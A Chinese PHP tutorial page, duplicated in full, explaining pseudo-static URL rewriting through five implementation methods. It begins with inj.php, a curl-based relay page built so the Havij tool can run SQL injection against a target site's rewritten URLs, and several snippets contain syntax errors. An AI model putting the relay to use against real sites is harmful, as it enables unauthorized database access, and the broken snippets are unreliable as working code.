PHP 偽靜態(tài)技術(shù)原理以及突破原理實(shí)現(xiàn)介紹
更新時(shí)間:2013年07月12日 17:43:23 作者:
偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面;偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式
先說(shuō)實(shí)現(xiàn)方法:
inj.php:
<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時(shí)將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
curl_setopt($ch,CURLOPT_HEADER,0);//啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>
用wamp搭建一個(gè)服務(wù)器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP偽靜態(tài)實(shí)現(xiàn)方法一(利用Apache 服務(wù)器的功能)
1、檢查Apache是否支持mod_rewrite
2、讓Apache 支持.htaccess
3、建立.htaccess文件
4、規(guī)則:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長(zhǎng)啥樣
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如說(shuō):www.xx.com/page-18.html
真實(shí)的URL如下:
action = page
id = 18
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法二(編碼實(shí)現(xiàn))
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
/*
內(nèi)層的strrchr出來(lái):/test.php?id|1@action|2
外層的strrchr出來(lái):id|1@action|2
內(nèi)層的str_replace出來(lái):把 / 號(hào)去掉,本例子 沒(méi)有
外層的str_replace出來(lái):把 ?號(hào)去掉,本例子 沒(méi)有
*/
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
/*把str變成以@為界限劃分的數(shù)組:id|1 和 action|2*/
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法三(編碼實(shí)現(xiàn))
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//這句話應(yīng)該是把URL前面那段給搞掉。。剩下 "1/2"之類(lèi)的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法四(編碼實(shí)現(xiàn))
function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法五(編碼實(shí)現(xiàn))
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";
總結(jié)下:
(1)偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面。
(2)偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式。
inj.php:
復(fù)制代碼 代碼如下:
<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時(shí)將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
curl_setopt($ch,CURLOPT_HEADER,0);//啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>
用wamp搭建一個(gè)服務(wù)器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP偽靜態(tài)實(shí)現(xiàn)方法一(利用Apache 服務(wù)器的功能)
1、檢查Apache是否支持mod_rewrite
2、讓Apache 支持.htaccess
3、建立.htaccess文件
4、規(guī)則:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長(zhǎng)啥樣
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如說(shuō):www.xx.com/page-18.html
真實(shí)的URL如下:
action = page
id = 18
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法二(編碼實(shí)現(xiàn))
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
復(fù)制代碼 代碼如下:
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
/*
內(nèi)層的strrchr出來(lái):/test.php?id|1@action|2
外層的strrchr出來(lái):id|1@action|2
內(nèi)層的str_replace出來(lái):把 / 號(hào)去掉,本例子 沒(méi)有
外層的str_replace出來(lái):把 ?號(hào)去掉,本例子 沒(méi)有
*/
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
/*把str變成以@為界限劃分的數(shù)組:id|1 和 action|2*/
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法三(編碼實(shí)現(xiàn))
例子: localhost/php100/test.php/1/2
復(fù)制代碼 代碼如下:
$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//這句話應(yīng)該是把URL前面那段給搞掉。。剩下 "1/2"之類(lèi)的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法四(編碼實(shí)現(xiàn))
復(fù)制代碼 代碼如下:
function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法五(編碼實(shí)現(xiàn))
例子:/1,100,8630.html
復(fù)制代碼 代碼如下:
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";
總結(jié)下:
(1)偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面。
(2)偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式。
您可能感興趣的文章:
- PHP偽靜態(tài)寫(xiě)法附代碼
- PHP偽靜態(tài)頁(yè)面函數(shù)附使用方法
- 不用mod_rewrite直接用php實(shí)現(xiàn)偽靜態(tài)化頁(yè)面代碼
- PHP 偽靜態(tài)隱藏傳遞參數(shù)名的四種方法
- 基于php偽靜態(tài)的實(shí)現(xiàn)詳細(xì)介紹
- thinkphp路由規(guī)則使用示例詳解和偽靜態(tài)功能實(shí)現(xiàn)(apache重寫(xiě))
- php偽靜態(tài)之APACHE篇
- php 偽靜態(tài)之IIS篇
- PHP偽靜態(tài)Rewrite設(shè)置之APACHE篇
- Linux中為php配置偽靜態(tài)
- PHP實(shí)現(xiàn)偽靜態(tài)方法匯總
相關(guān)文章
PHP+Ajax實(shí)現(xiàn)的博客文章添加類(lèi)別功能示例
這篇文章主要介紹了PHP+Ajax實(shí)現(xiàn)的博客文章添加類(lèi)別功能,結(jié)合實(shí)例形式分析了php+ajax實(shí)現(xiàn)的數(shù)據(jù)交互、數(shù)據(jù)庫(kù)連接、查詢(xún)等相關(guān)操作技巧,需要的朋友可以參考下2018-03-03PHP中字符安全過(guò)濾函數(shù)使用小結(jié)
這篇文章主要簡(jiǎn)單介紹了PHP中字符安全過(guò)濾函數(shù),對(duì)于防止sql注入攻擊XSS攻擊能非常有用,這里推薦給大家。2015-02-02php源碼加密 仿微盾PHP加密專(zhuān)家(PHPCodeLock)
php源碼加密 仿照 微盾PHP加密專(zhuān)家(PHPCodeLock),需要的朋友可以參考下。2010-05-05PHP使用http_build_query()構(gòu)造URL字符串的方法
這篇文章主要介紹了PHP使用http_build_query()構(gòu)造URL字符串的方法,結(jié)合實(shí)例形式較為詳細(xì)的分析了http_build_query函數(shù)的功能,使用技巧與相關(guān)注意事項(xiàng),需要的朋友可以參考下2016-04-04php-fpm?reload?會(huì)取消正在處理請(qǐng)求的解決方案
這篇文章主要介紹了php-fpm?reload?會(huì)取消正在處理請(qǐng)求的解決方案,文章通過(guò)圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-09-09詳解配置 Apache 服務(wù)器支持 PHP 文件的解析
這篇文章主要介紹了詳解配置 Apache 服務(wù)器支持 PHP 文件的解析的相關(guān)資料,需要的朋友可以參考下2017-02-02